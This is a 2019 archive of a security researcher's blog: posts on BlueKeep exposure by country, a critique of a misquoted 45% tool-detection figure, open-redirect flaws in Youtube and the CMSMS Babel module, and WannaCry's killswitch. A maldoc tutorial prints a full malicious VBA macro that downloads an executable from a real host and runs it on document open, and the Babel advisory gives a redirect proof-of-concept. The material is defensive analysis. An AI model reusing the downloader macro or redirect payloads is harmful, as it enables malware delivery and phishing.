2019 on Untrusted Network

SANS ISC Diary - Internet banking sites and their use of TLS... and SSLv3... and SSLv2?!

Jan Kopriva — Fri, 13 Dec 2019 08:22:37 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at the use of TLS (and SSL) on banking sites all over the world.

SANS ISC Diary - Phishing with a self-contained credential-stealing webpage

Jan Kopriva — Fri, 06 Dec 2019 07:30:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at an interesting phishing message, which carried a complete phishing web page as its attachment.

SANS ISC Diary - E-mail from Agent Tesla

Jan Kopriva — Thu, 05 Dec 2019 07:30:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at a multi-stage downloader for Agent Tesla.

SANS ISC Diary - Analysis of a strangely poetic malware

Jan Kopriva — Wed, 04 Dec 2019 08:14:33 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at a macro-based dropper sent to the Internet Storm Center by one of our readers.

SANS ISC Diary - Lessons learned from playing a willing phish

Jan Kopriva — Tue, 26 Nov 2019 12:08:19 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at baiting phishing attackers and at some of the lessons we may learn from it.

SANS ISC Diary - Did the recent malicious BlueKeep campaign have any positive impact when it comes to patching?

Jan Kopriva — Sun, 10 Nov 2019 11:55:40 +0100

A Diary of mine was published today on the SANS Internet Storm Center. If you wondered whether the recent “BlueKeep worm scare” had any impact when it comes to the number of vulnerable systems out there, then this one is for you.

EDIT 13/11/2019: Shaun from The Register liked the post and wrote an article based on it - you may find it here.

SANS ISC Diary - EML attachments in O365 - a recipe for phishing

Jan Kopriva — Thu, 31 Oct 2019 11:15:35 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at the absence of filtering of EML attachments in O365 and what it can lead to.

Do automated tools really detect only 45% of all vulnerabilities?

Jan Kopriva — Sat, 19 Oct 2019 18:50:15 +0200

If you’ve dealt with IT security for any length of time, chances are that you’ve come across a claim that research has shown that automated tools can only detect 45% of vulnerabilities. It is often cited to illustrate the need for participation of human experts in security and penetration tests. However is the claim really true?

You may find it in, among many other places, the latest OWASP Testing Guide.

Source: OWASP Testing Guide v4, page 22

Given this source in particular, one might reasonably expect the claim to be correct…but, as you may have guessed, that is not the case. Or rather not entirely. Some other sources cite the original research, where the number 45% originated, more or less correctly, as tools are capable of detecting 45% of types of vulnerabilities. This version may be found (again, among many other places) in several OWASP presentations.

Source: OWASP - Embed within SDLC, slide 42

Many have cited these presentations. For example Mitnick Security, company of the world renowned Kevin Mitnick, cites OWASP almost word for word on their website. However, as a closer look at the text of their site shows, even they, when coming from exact citation of OWASP, managed to interpret the conclusions of the original research to mean “automated tools detect only 45% of vulnerabilities” in some cases.

Source: mitnicksecurity.com

Leaving misunderstanding/misquoting of the original conclusions to one side, even in cases when the conclusions are cited correctly, many seem to gloss over the fact that the research, which resulted in the “45%” result, was limited in scope to only certain types of tools and took place all the way back in 2007 so its results don’t necessarily describe the current state of affairs… But we’re getting ahead of ourselves. First, let’s take a look at where the number actually came from.

OWASP Testing Guide is one of the few places where we may find an attribution (although the reference in OTG should point to [21], not [22]), which leads us to a presentation from BlackHat DC 2007 by a team (Robert A. Martin, Sean Barnum and Steve Christey) from MITRE/Cigital.

Unfortunately, by itself, the slide from the presentation which is cited in OTG doesn’t give us much information. We may deduce from it that 55% of CWEs were found not to be covered by - presumably - some tested or analyzed tools, but that is about it.

Source: MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE

Since the other slides in the presentation don’t give us any more information regarding the presumed 45% detection rate, we need to dig a bit deeper. After a while of Googling, one might find couple of articles from the same authors on MITRE website (one which probably served as a basis for the BlackHat talk and one from CrossTalk magazine), which are both titled the same as the presentation. Neither of them, unfortunately, sheds any light on the issue of detection rate among automated tools.

I have to admit that this was the point, where my Google-Fu failed me as I was unable to find anything more exact with regards to the original research. I was, however, able to find e-mail contacts for all three authors of the original paper/presentation from BlackHat DC 2007 and one of them - Bob Martin - was kind enough to reply to my message and explain what their work was based on. Following paragraphs are contents of the e-mail I received, unedited except for the use of bold font for what I believe are the most important parts.

The source of that statistic is the MITRE CWE Team's compilation of the knowledge-bases from the static analysis tools that provided us with the details of weaknesses so we could build out CWE.

While we don't have a specific list of those who donated content, the list of organization on the CWE Community page is close, if you limit yourself to tool and researcher organizations.

The 2007 Black Hat talk does a pretty good job covering what went into the creation of CWE.

So when we combined all of these different knowledge-sources we found that there was only a very slight intersections between the tools knowledge-bases.

Now a days, the best way to recreate this would be to use the COVERAGE CLAIMS that most of the CWE Compatible tools and services provide.

Examples of Publicly Available CWE Coverage Claims:
----------------------------------------------------------------------
https://www.synopsys.com/content/dam/synopsys/sig-assets/datasheets/coverity-cwe-sanstop25.pdf
https://www.grammatech.com/software-assurance/certifications-compliance/cwe
https://docs.sonarqube.org/latest/user-guide/security-rules/
https://help.veracode.com/reader/DGHxSJy3Gn3gtuSIN2jkRQ/o5xpvFVymSUGcFJ492HXEg
http://docs.klocwork.com/Insight-10.0/CWE_IDs_mapped_to_Klocwork_C_and_C%2B%2B_checkers
http://docs.klocwork.com/Insight-10.0/2011_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
http://docs.klocwork.com/Insight-10.0/2010_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
http://docs.klocwork.com/Insight-10.0/CWE_IDs_mapped_to_Klocwork_Java_checkers
http://docs.klocwork.com/Insight-10.0/2011_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
http://docs.klocwork.com/Insight-10.0/2010_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
https://access.redhat.com/articles/171613
https://dwheeler.com/flawfinder/flawfinder.pdf
https://vulncat.fortify.com/en/weakness

On the last one, we'd like to get Fortify to offer their coverage indexed by CWE Ids but so far this is what we have from them.

That being said, the statistic we did in 2007 was only for static analysis tools, since at that time they were the only one really documenting the flaws they found and talking about how to fix them.

Similar static analysis studies were done by the Center for Assured Software (CAS) out of NSA. Here's links to their 2010 and 2011 reports:

http://cps-vo.org/file/1152/download/30152
https://samate.nist.gov/docs/CAS_2011_SA_Tool_Method.pdf

On slides 21 & 22 of the first one, and on page 25 of the second one they show the overlap in findings between tools.

Today you'd want to include DAST and Binary analysis, along with any other tool/technique that can uncover weaknesses in software architecture, software design, software code, and the deployment of software into operations.

You would also want include more of the quality issues that only indirectly make it easier to introduce a vulnerability and/or make the vulnerability more difficult to detect or mitigate, like reliability, performance, and maintainability, similar to the expansion undergone by CWE itself in January https://cwe.mitre.org/news/index.html#jan032019_CWE_Version_3.2_Now_Available.

Within CWE these are captured in the CWE-1128 view (CISQ Quality Measures (2016)) and the "quality" slice (CWE-1040, Quality Weaknesses with Indirect Security Impacts), which includes not-automatically-detectable quality issues.

CISQ recently published an update to their work which we are still capturing as a CWE view.

Leveraging the CAS work, NIST has been holding Software Assurance Tool Evaluation (SATE) efforts, where NIST is working with the community, both private industry, academia, and government, to get a better handle on what weaknesses tools find and how well they find them. They have annual workshops and share test programs (Juliet).

Finally, tools can not find many architecture or design weakness https://cwe.mitre.org/data/definitions/1008.html. If the development effort using model-based software engineering tools they theoretically can find some of these - which is the focus of a new MBSE Working Group in the Consortium of Information and Security Quality (CISQ).

___

As we may see - among many other information for which I’m very grateful to Bob Martin - the original research only covered static analysis tools (SAST). Even if the research wasn’t as old as it is, this fact alone shows its results should not be interpreted and presented in the way they very often are.

Don’t get me wrong - I don’t claim that tools alone can find every type of vulnerability out there. They can’t - automated scanners and other tools are great at finding certain types of vulnerabilities, but for others, they are either unable to find them at all or don’t come even close to what an experienced penetration tester, analyst or auditor may discover. I don’t even claim that tools are currently capable of finding more than 45% of all vulnerability types - I don’t know whether or not they are and as far as I can tell, no one else does either.

And that is the point - although we might like to have hard numbers to back up why human factor is indispensable when it comes to finding vulnerabilities, citing results of a study from 2007 as current, or using misquoted version of its conclusions in marketing materials in order to convince customers that they really need our experienced pentesters in order to be secure, is something we should try very hard to avoid.

SANS ISC Diary - Phishing e-mail spoofing SPF-enabled domain

Jan Kopriva — Thu, 17 Oct 2019 11:49:25 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at SPF and when even SPF-enabled domains may be spoofed.

ALEF Security Report 2019

Jan Kopriva — Mon, 16 Sep 2019 20:40:35 +0200

Couple of months back, my colleagues and I created a report covering current cyber security situation in the Czech Republic. If you’d like to know, what security services were most in demand during the last couple of years, how large is the percentage of Czech organizations, which conduct phishing tests of their employees, or how STARTTLS adoption is progressing in Czech Republic, you may download it here.

SANS ISC Diary - Tricky LNK points to TrickBot

Jan Kopriva — Tue, 03 Sep 2019 13:06:21 +0200

A Guest Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at analyzing a malicious LNK file which leads us to a sample of Trickbot.

SANS ISC Diary - Open Redirect: A Small But Very Common Vulnerability

Jan Kopriva — Wed, 28 Aug 2019 14:27:02 +0200

A Guest Diary of mine was published today on the SANS Internet Storm Center. In this one, I discuss open redirect vulnerabilities and how to find them. If you’ve never heard of open redirects, this might be a useful introductory text.

Where are all the machines affected by BlueKeep hiding - part 2

Jan Kopriva — Sat, 10 Aug 2019 10:11:50 +0200

Last week, we took a look at Shodan results to try to determine which countries are the “richest” in the world when it comes to machines vulnerable to BlueKeep visible from the internet. Since the number of vulnerable machines Shodan detects grows every day (see the following chart), I thought it might be interesting to have another look at the numbers. But in a way which is a little different.

It should be mentioned that the rise in the number of affected machines is most likely due to Shodan scanning previously unscanned IP ranges and not because there are actually more vulnerable machines out there. In fact it is quite probable that a not insignificant percentage of machines shown by Shodan as vulnerable have either been assigned different IP addresses since the detection (and could therefore have even been counted multiple times) of have been patched since the detection. If you’d like to see something closer to an actual “real-time” look at the number of machines which are still vulnerable to BlueKeep and accessible from the internet, Shadowserver will probably be a better place to look then Shodan.
But that doesn’t mean that Shodan can’t still give us something quite interesting in this area.

Since very little has changed in terms of positions of different countries (see the previous post if you are interested who still has the dubious honor of belonging to the “BlueKeep Top 10 Club of Countries” as there were no changes in the first 10 places), I believe it might be more interesting to explore another aspect of the numbers, namely what percentage of machines which are accessible on the usual RDP ports (3388 and 3389) in the different countries are actually vulnerable. I quite like the idea since it could give us at least some idea of how large a percentage of all affected machines are potentially still unpatched in the countries in question.

It is true that machines directly accessible from the internet are not the best sample for “all the machines out there”, however some lose correlation between patch levels of servers accessible from the internet and patch levels of all the other machines certainly exists. One could even realistically expect that servers directly connected to the internet should be patched more often than other servers/machines so using what Shodan sees as a sample isn’t that inappropriate.
Although, since we’re listing weaknesses of this approach, we should mention that we’re completely skipping over identifying operating systems of machines behind the RDP ports and we’re counting anything with any service accessible on 3388 or 3389 as either vulnerable or patched. I.e. the following results are interesting but take them with a grain of salt.

Based on Shodan detections, of the 30 countries with highest numbers of affected machines, Hong Kong, South Korea, Argentina, China and Ukraine seem to be worse off when it comes to the percentages of machines with open RDP ports that are vulnerable to BlueKeep.
I’ve left the chart ordered by number of detected vulnerable machines in different countries so you can draw your own conclusions. The percentages themselves are in a table at the end of the post.
What seems most interesting is that although the US is second overall in the number of vulnerable machines detected (over 109k machines on the day of writing), it appears that the local patching culture is much better than in the rest of the “Top 30” BlueKeep countries as this number represents less than 3.7% of all systems with open RDP ports in the US.
This well illustrates the fact number of vulnerable systems in a certain country often doesn’t give us the whole story…

Position	Country	Vulnerable machines	Percentage of vulnerable machines
1	China	355449	24.34%
2	United States	109011	3.67%
3	South Korea	32300	29.07%
4	Brazil	29137	19.66%
5	Russian Federation	28432	20.12%
6	Hong Kong	25015	30.67%
7	Germany	13971	6.58%
8	Taiwan	13394	22.36%
9	Japan	12444	10.15%
10	United Kingdom	11691	8.75%
11	France	10413	7.74%
12	Canada	10086	9.78%
13	Italy	9585	16.99%
14	Spain	9428	17.13%
15	India	7732	11.00%
16	Mexico	7361	16.50%
17	Netherlands	6941	4.48%
18	Argentina	6826	27.86%
19	Ukraine	6516	22.41%
20	Australia	5555	8.69%
21	Viet Nam	5455	13.07%
22	Singapore	5226	6.45%
23	Turkey	4915	10.92%
24	Thailand	4522	15.52%
25	Poland	4241	14.01%
26	South Africa	4175	13.95%
27	Colombia	2962	14.59%
28	Czech Republic	2890	10.40%
29	Iran	2822	14.14%
30	Malaysia	2725	17.82%

SANS ISC Diary - The good, the bad and the non-functional

Jan Kopriva — Thu, 08 Aug 2019 21:31:08 +0200

A Guest Diary of mine was published today on the SANS Internet Storm Center. If you’ve wondered how do the less usual cyber attacks look, it might be worth a read…

Where are all the machines affected by BlueKeep hiding?

Jan Kopriva — Thu, 01 Aug 2019 11:23:55 +0200

EDIT 8/5/2019: Wrong CVE - CVE-2019-0709 was mentioned instead of CVE-2019-0708…

We’ve all read about the hundereds of thousands of machines affected by BlueKeep connected to the internet, but where are they hiding? With the help of Shodan, we can try to figure it out.

At the time of writing, Shodan returns 667243 results for CVE-2019-0708. In the leading place is China with 291686 results, followed by United States (88625 results), Korea (26578 results), Brazil (23756 results) and Russia (22682).

Top 49 countries are each the home of more than 1000 vulnerable servers (the Czech Republic has 2327 results and is in 29th place) and each of the top 97 countries has at least 100 detections.

For those of you who would like to take a look at all the countries (though it is possible I missed some of them) where there was at least one vulnerable machine, you may take a look at the following chart.

Half-open redirect vulnerability in Youtube

Jan Kopriva — Mon, 22 Jul 2019 19:33:43 +0200

If you open any Youtube video, which has in its description a link to an external URL, you may notice that the link points to a Youtube redirection mechanism (https://www.youtube.com/redirect?…), with the target URL being passed to it as a parameter, rather than to the target URL itself. In such a case, the link has the following structure:

https://www.youtube.com/redirect?q=[target_URL]&redir_token=[token]&event=video_description&v=[video_ID]

Since there is a redir_token parameter in the URL, one might assume that the redirect mechanism isn’t open, i.e. that can’t be used for redirection to an arbitrary URL. One would, however, be only half-right.

The value of the token seems to be connected with the current Youtube session (though there isn’t any obvious corelation between values of relevant cookies and the token). And while parameters event and v are optional, if you try to use the redirection mechanism without the redir_token parameter - or with an invalid value of this parameter - you will be greeted with the following message:

You may try this out for yourself yourself using this link. So far everything seems to be in order.

A problem - if only a small one - however, starts to become obvious when we try to use a valid token along with another URL (i.e. we copy a valid link, perhaps delete the optional parameters, and change the value of the parameter q). In this case, a browser will indeed be redirected (using HTTP code 303) to the new URL, because the tokens are in no way dependent on the value of q.

This means that if you can get a valid redirect link from a user, who has an active Youtube session established, you could modify it in such a way, that - if this user opened it - it would redirect his/her browser to the URL of your choice. As the tokens seem to last (although I tried to determine the maximum age for a token on only one ocasion so don’t quote me on it) for approximately 24 hours, one could hypotetically use this (it should probably be called “partially-missing input validation”, but “half-open redirect” will do) vulnerability in a real world scenario. Although it is almost completely useless for malicious phishing campaigns, it could be used quite effectively against - for example - one’s coleagues and/or friends (e.g. “Jack, could you please send me the link under this video? Thank you. Now, here is a link to a video you’re going to love…"). Plus, it might be a good example of dangers of clicking on seemingly safe links in e-mail for any security awareness classes out there.

Since Google replied to me that they don’t intend to fix this small vulnerability and don’t mind if I publish it, use it (ethically, please) as you see fit.

It should be added that there seems to be some regularity to the values of tokens being generated (e.g. when a site is refreshed), but at first glance there doesn’t seem to be any obvious way to use this regularity to craft valid tokens, although I didn’t spend much time on verifying that.

Analysis of an encrypted malicious DOC file and an (un)interesting phishing

Jan Kopriva — Sun, 05 May 2019 18:02:46 +0200

Couple of days ago, I found a pretty usual-looking phishing e-mail in one of the quarantine folders of my inbox. It was addressed to me and to 19 other security specialists and incident response teams and contained a text (in German - see bellow), informing us that the author saw a job offer to which she was responding with an application document attached to the e-mail. The attachment appeared to be an encrypted DOC file and the password (“123123”) was mentioned in the body of the message.

Sehr geehrte Damen und Herren,

über die Webseite der Bundesagentur für Arbeit habe ich von Ihrem Stellenangebot erfahren.
Aufgrund meiner langjährigen Berufserfahrung und die kontinuierliche, selbständige Weiterbildung bin ich mir sich, die mit der herausfordernden Stelle verbundenen Anforderungen zu Ihrer Zufriedenheit erfüllen zu können.

Meine Bewerbungsunterlagen habe ich an diese E-Mail angehängt. Passwort: 123123

Ich verfolge das Ziel, alle meine Fertigkeiten gewinnbringend in Ihrem Unternehmen einzusetzenDarüber hinaus strebe ich eine kontinuierliche Weiterentwicklung an, um auch zukünftige Anforderungen an diese Stelle erfüllen zu können.

Gerne stehe ich Ihnen für weitere Fragen zur Verfügung. Auf eine persönliches Vorstellungsgespräch, in welchem ich Sie gerne von meinen fachlichen Kenntnissen sowie meiner Motivation überzeuge, freue ich mich.

Ich verbleibe mit freundlichen Grüßen

Even though pretty much the only unussual thing about the e-mail were the recipients, I’ve decided to do a short writeup on it since I’ve often seen junior (although not only) analysts struggle with analyzing potetially malicious Office files and I believe that this might be a good case to learn at least some basics on. So if you’ve never done “maldoc analysis” and want to know the basics, consider this a quick-and-dirty tutorial to get you up to speed.

You may download the document in question here (password is “infected”) and follow along, if you’d like.

To my mind, the best tool - or rather a collection of tools - for analyzing Office documents and PDFs (among other file types) and determining whether or not they’re malicious is the Didier Stevens Suite (DSS). The tool from this suite which can help us the most when it comes to analyzing “old style” Office documents (DOC, XLS and some other file types) is OLEdump. Use of the tool is quite straightforward and it can provide us with lots of analytical information about a potentially malicious file. If we run it against the document without any additional parameters, it will give us some basic information about internal structure of the file.

In this case, it seems that the files contents are indeed encrypted, but this isn’t quite what one would expect to see when analyzing a “normal” password-protected DOC file as the internal file structure displayed doesn’t look right.

When analyzing a Word document of the “old DOC” variety (OLE Binary Compound File), OLEdump should give us an output showing a file structure at least somewhat similar to the following examples. First file is a normal document, second file is a password-protected document and the third is a password-protected document containing macros.

What we have here is actually a “new type” Word file with enabled encryption (since in cases when encryption is enabled on a DOCX file, it is saved as an OLE compound file) and modified extension. Attackers quite often change extensions of DOCM files to DOC, since Word will open (and correctly interpret) a DOCX/DOCM document with a DOC extension and most users seem to be less affraid to open a DOC than a DOCM, which obviously contains macros.

Although OLEdump is a fairly versatile tool, it can’t natively handle decryption of DOCX files, even though they are in the OLE CF format. It can, however, tell us what kind of encryption is used to secure the contents of the file (as there are several possibilities - if you’d like to know more, you may refer to the relevant Microsoft documentation) which will help us to choose the best tool for decryption. As Didier Stevens - author of DSS - mentions on his own blog, there is a plugin called “plugin_office_crypto” which can help us with determining the encryption used. With its help (using the option -p), we can see that in this case Agile Encryption is employed.

One of the first results Google returns (at the time of writing), if you ask it how to decrypt Agile Encryption, is a link to a GitHub page for msoffcrypto-tool, a “Python tool and library for decrypting MS Office files with passwords or other keys”. As it is also a tool I can recommend, since it’s helped me couple of times in the past, it will be the one we use for decrypting our malicious document.

As we can see, the decryption was successful. If we use TrID or a similar tool, we will learn that our document is indeed a DOCM file. Although modern Word documents are basically ZIP files containing XMLs, any macros they contain are still saved in OLE CF format, which means we can still use OLEdump to analyze our file. All we need to do is have a look at the macros in A3 to A6 and OLEdump option -v will help us with that. You may find the entire source code bellow and as it is not obfuscated in any way, I don’t believe it requires much in the way of an explanation. Perhaps the only thing to add is that details for the word88.foc file - which the macro tries to download - may be found here.

A6: VBA/ThisDocument

Private Sub Document_Open()
    Dim var1 As Integer
    var1 = 1234
    If var1 = 1234 Then
        noutil
    End If
End Sub

A3: VBA/Module1

Sub noutil()
    Dim url As Variant
    url = Array(getUrl)
    Dim savePath As String
    savePath = Environ("temp") & "\tryui." & "jmp"
    If IsArray(url) = True Then
        SaveFile url(0), savePath, False, True
        runNagr savePath
    End If
End Sub

A4: VBA/Module2

Function getUrl() As String
    If IsArray(var) = False Then
        getUrl = "hxxp://infogiceleredalog.info/word88.foc"
    End If
End Function

A5: VBA/Module3

#If VBA7 Then Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" (ByVal pCaller As Long, _ ByVal szURL As String, ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long #Else Private Declare Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" (ByVal pCaller As Long, _ ByVal szURL As String, ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long #End If Sub runNagr(var1 As String) Shell var1 End Sub

Public Sub SaveFile(Param1, Param2, Param3, Param4)
If Param4 = True Then
URLDownloadToFile 0, Param1, Param2, 0, 0
End If
End Sub

How big of a problem is the 'open redirect' in Babel?

Jan Kopriva — Sat, 02 Mar 2019 12:35:00 +0100

During a recent research into prevalence of open redirection vulnerabilities within the ccTLD .CZ we’ve done with my colleagues from ALEF CSIRT (description of its results in Czech may be foud here), I’ve noticed that many of the vulnerable sites seemed to be using CMS Made Simple with Babel multi-language module. This seemed to warrant a closer investigation…

Before we go further, let’s briefly describe what „open redirection“ (CWE-601) weakness/vulnerability actually is. The term is usually used to describe a mechanism which – when present on a certain website and queried in a specific way (usually by passing a specific parameter to it) - automatically redirects visiting browser to a different (arbitrary) domain/URL. What this means in practical terms is that it is possible to create a link to the website in question, which redirects user to any other - pontentially malicious or untrusted - site.
This behaviour might be intentionally present on certain websites, but in most cases, it is considered a vulnerability and/or bad practice since may be quite easily misused. Imagine, for example, how easy it would be to create a successful phishing campaign targeting clients of a bank which has open redirection vulnerability on its website.

An example of a site with intentional open redirection functionality, which will enable us to demonstrate the principle in practice, is 1gr.cz – a logger which counts clickthroughs for ad and marketing purposes. A link to 1gr.cz which automatically redirects visitors to untrustednetwork.net could be crafted in the following way:

http://1gr.cz/log/redir.aspx?url=https://www.untrustednetwork.net/

Now, let us dive right into the interesting details regarding CMS Made Simple and Bable.
CMS Made Simple (CMSMS) is one of the lesser known CMS platforms out there. Although it is not too widely used, vulnerabilities in the CMSMS core or in its plugins or modules may still affect thousands of websites. This appears to be the case with the vulnerability I found in Babel – a module which brings multilingual functionality to CMSMS sites.
The full write up of the vulnerability may be found here, but in simple terms, Babel in all its versions translates content by redirecting user to different pages based on their language preferences. This is not a bad idea per se, however in Babel, the same mechanism enables anyone to create a link to the CMSMS-enabled site, which redirects to an arbitrary URL.
Babel – when installed – uses the path domain.root/modules/babel to hold all its PHP files. Among these is redirect.php, a file containing PHP script through which the translation is handled. The relevant code looks like this:

if(!isset($_GET["newurl"]) ){
	/*code not important for our purposes removed here*/
}else{
	/*code not important for our purposes removed here*/
	header("location: ".$_GET["newurl"]);
}

What it basically means is that if the “newurl” parameter is set, browser will be redirected to the URL contained therein. Since there are no checks or limits regarding the target URL, the fact that there is an “open” redirection vulnerability should be obvious.

So how big of a problem is this vulnerability? Well, not too big. As has been said before, open redirection is mainly useful for phishing and not that many sites interesting to phishers use the Babel module… But with approximately 3.700 URLs affected before the disclosure was published it is not insignificant either. That number is based on relevant Google search results (so take it with a grain of salt - in terms of affected sites, it was probably a lot less…although the latest version of the vulnerable module was downloaded from the CMS website more than 5.700 times, so who knows) from February 14th 2019.

I was interested in the distribution of vulnerable sites/URLs around different TLDs, so I’ve done a search for each of the 20 most used TLDs and a serach for each of the ccTLDs of European countries. The “Top 10” results are:

TLD	Count
========	========
COM	1590
BE	448
FR	408
NL	227
PT	226
CH	207
DE	142
CZ	96
LV	78
AT	46

That covers most of what seems to be out there, but if you want to see the results for all top level domains with at least one relevant search result, they are summarized in the following chart.

As you may see, a number of the vulnerable websites are hosted on domains within ccTLDs belonging to different European countries. What’s more, based on a quick look at the .COM results, it seems that most of those domains are also registered by European citizens and companies. I’m not sure whether CMSMS as a whole or just Babel have mostly Euro-centric user base, but this regional disparity seemes quite interesting either way.

Open Redirection Vulnerability in Babel

Jan Kopriva — Wed, 20 Feb 2019 20:36:35 +0100

Bellow you may find description of a vulnerability I found in Babel - a CMSMS module - when searching for sites affected by Open Redirection vulnerabilities (writeup on the research in Czech may be found here). Further discussion of this vulnerability be found here.

Basic Information

Affected Software: Babel: Multilingual Site module for CMS Made Simple
Affected Version: 0.4.1 and earlier
Patched Version: None - project is no longer under development
CVE Identifier: CVE-2019-1010290
Vulnerability type: CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’)
Severity Rating: CVSS v3 Base Score: 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

Summary

The Babel multi-language module for CMSMS contains an open redirection vulnerability in a script within the redirect.php file. The script takes an argument specifying a URL to which a browser should be redirected. This URL may be completely arbitrary. It is therefore possible to craft a link to a Babel-enabled site which causes redirection to any URL specified, even outside the originating domain. This is especially useful for phishing attacks, when attacker creates a link to a safe site, which, without the knowledge of a user, redirects him or her to a fake/malicious site. All CMSMS sites with Babel module installed are affected, since redirect.php is always publically accessible.

Detailed Description

The Babel module provides CMSMS sites with the capacity to easily switch between multiple translations of web page content. Desired translation may be chosen by sending a GET request to vulnerable.site/modules/babel/redirect.php. Under normal conditions, this PHP script takes two arguments - “newlang” and “newurl”. The first argument sets the desired language for the translation and the second one sets URL which should be displayed in selected language.
A non-working example of what the URL might look like is:

https://www.vulnerable.site/modules/babel/redirect.php?newlang=en_US&newurl=https://www.vulnerable.site/about

The vulnerability is caused by the absence of any filtering when the parameter “newurl” is processed (the parametr “newlang” is - for our purposes - optional and may be omitted).

Proof of Concept

https://www.vulnerable.site/modules/babel/redirect.php?newurl=https://www.malicious.site/

Recommendation

Removal of the Babel module from any affected site.

Disclosure Timeline

Developer Contacted: 2. 2. 2019
Developer Responded: 11. 2. 2019 (project abandoned, no new versions are to be expected)
Disclosure to CSIRT network: 14. 2. 2019
Public Disclosure: 20. 2. 2019

It's 2019 and WannaCry is still not dead

Jan Kopriva — Wed, 30 Jan 2019 17:20:48 +0100

Unless you live completely cut off from the rest of human civilization, chances are good you’ve heard about the WannaCry ransomware. However, so we’re all on the same page, I’ll go over the salient points of its history before discussing why it is still a threat.

WannaCry - the first successful crypto-ransomware worm - started to spread on May 12th 2017 using the EternalBlue exploit and DoublePulsar backdoor implant (both courtesy of the Shadow Brokers and - by proxy - Equation Group/NSA) and supposedly hit more than 100 countries within the first 24 hours. Although the speed of spreading was nowhere near the famous SQL Slammer/Saphire/Helkern or even CodeRed levels, it was still quite impressive.

As it is usually the case when a new malware starts to succesfully spread, many researchers started analyzing samples of it. Among these researchers was also the controversial Markus Hutchins, who noticed that the malware used tried to query an at-that-time non-existant domain to decide if it should encrypt data and spread further when it infected any new computer.
Basically, it tried to connect to the www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com domain and if it succeeded, it didn’t encrypt any data nor did it spread further.

If fact, except for connecting to this domain on reboot to make sure it was there, the ransomware didn’t do much of anything from that point onward. It is unknown why this functionality was implemented in WannaCry (although there are a lot of theories - the two most popular ones considers it either an anti-sandboxing mechanism, or an intentional killswitch to stop the infection should the attacker wish it). However when Hutchins noticed this behaviour, he registered this domain and “sinkholed” it, which pretty much stopped WannaCry from spreading…until another version without this “killswitch” functionality was released, that is.

Although the number of infected computers was in the hundreds of thousands at least (see the chart bellow - especially the situation in China seems to have been quite interesitng), the outbreak was more or less dealt with within few weeks. Computers spreading WannaCry were disinfected, admins who didn’t do so before patched the vulnerability used by EternalBlue exploit and pretty much everyone considered WannaCry dealt with.

Source: [Bleeping Computer](https://www.bleepingcomputer.com/news/security/new-data-shows-most-wannacry-victims-are-from-china-not-russia/)

That however seems to be very far from the true state of affairs. Jamie Hankins from KryptosLogic (company which currently takes care of the killswitch domain) published couple of interesting charts based on monitoring of the killswitch in December. As these charts and other information from Hankins show, quite a large number of computers still try to connect to the killswitch domain every day. From the first chart bellow, you may see that during working hours on weekdays, there are between 500,000 and 600,000 requests detected every 3 hours. This indicates that there are still at least tens of thousands of computers infected by the original version of WannaCry. This is both unexpected and quite scary.

Source: [Jamie Hankins](https://twitter.com/2sec4u/status/1076151355759308800)

Since the killswitch domain works as it should, the ransomware doesn’t do anything malicious at the moment. But should the domain go down or be unaccesible for some reason, WannaCry on the infected computers would “wake up” again and continue with its normal operations, which would undoubtedly cause major problems to all affected subjects.

On the second chart bellow, you may see that most of the infected machines seem to be in Asia, however that doesn’t mean there are no infections still active in other regions.

Source: [Jamie Hankins](https://twitter.com/2sec4u/status/1076151355759308800)

So this is where we are now - we know WannaCry is still with us and still presents a potential threat. What can we do? It’s actually fairly simple. If you don’t have any security devices monitoring DNS and web traffic in place, try going through DNS logs for your infrastructure and try to find any lookups for the WannaCry killswitch domain. You probably won’t, but it’s better to be safe then sorry.

An if you still haven’t applied the MS17-010 update, well… in such a case WannaCry might not be your biggest concern, but it’d still recommend you apply the patch. After all, it’s better to do so more than 18 months late than never.

Miscelaneous tools and links

Jan Kopriva — Tue, 08 Jan 2019 08:19:11 +0100

I’ve added a new page to the site with links to miscelaneous tools and materials useful for Incident Response, Malware Analysis, Penetration Testing, etc. It may be accessed here or through the easily remembered URL http://csirt.xyz.